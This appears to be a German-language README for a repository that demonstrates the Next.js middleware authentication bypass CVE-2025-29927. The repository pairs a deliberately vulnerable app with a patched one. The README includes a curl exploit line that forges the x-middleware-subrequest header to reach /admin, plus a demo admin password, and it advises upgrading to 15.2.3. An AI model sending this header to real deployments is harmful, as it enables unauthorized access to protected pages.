
Next.js CVE-2025-29927 demonstration
Dieses Repository enthält eine Demonstration der Next.js-Schwachstelle CVE-2025-29927, die Next.js Version 15.2.2 und früher betrifft. Die Schwachstelle ermöglicht Angreifern, Middleware-Authentifizierungsprüfungen zu umgehen, indem sie einen x-middleware-subrequest-Header setzen.
Dies ist ein NX-Monorepo mit zwei Next.js-Anwendungen:
In Next.js-Versionen vor 15.2.3 gibt es eine Sicherheitslücke in der Middleware-Implementierung. Die Middleware validiert die Herkunft des x-middleware-subrequest-Headers nicht ordnungsgemäß, sodass Angreifer diesen Header fälschen und Middleware-basierte Authentifizierungsprüfungen umgehen können.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
Die verwundbare App ist unter http://localhost:3000 verfügbar.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
Die gefixte App ist unter http://localhost:3001 verfügbar.
Sie können die Apps auch mit Docker ausführen:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
Mit der verwundbaren Version (15.2.2) können Sie auf die Admin-Seite ohne Authentifizierung zugreifen, indem Sie den x-middleware-subrequest-Header hinzufügen.
Mit der gefixten Version (15.2.3) validiert die Middleware die Herkunft dieses Headers korrekt, und Sie werden weiterhin zur Anmeldeseite weitergeleitet.
Für Demonstrationszwecke können Sie sich anmelden mit:
adminpassword123Wenn Sie Next.js in der Produktion verwenden, stellen Sie sicher, dass Sie auf Version 15.2.3 oder neuer aktualisieren, um sich vor dieser Schwachstelle zu schützen.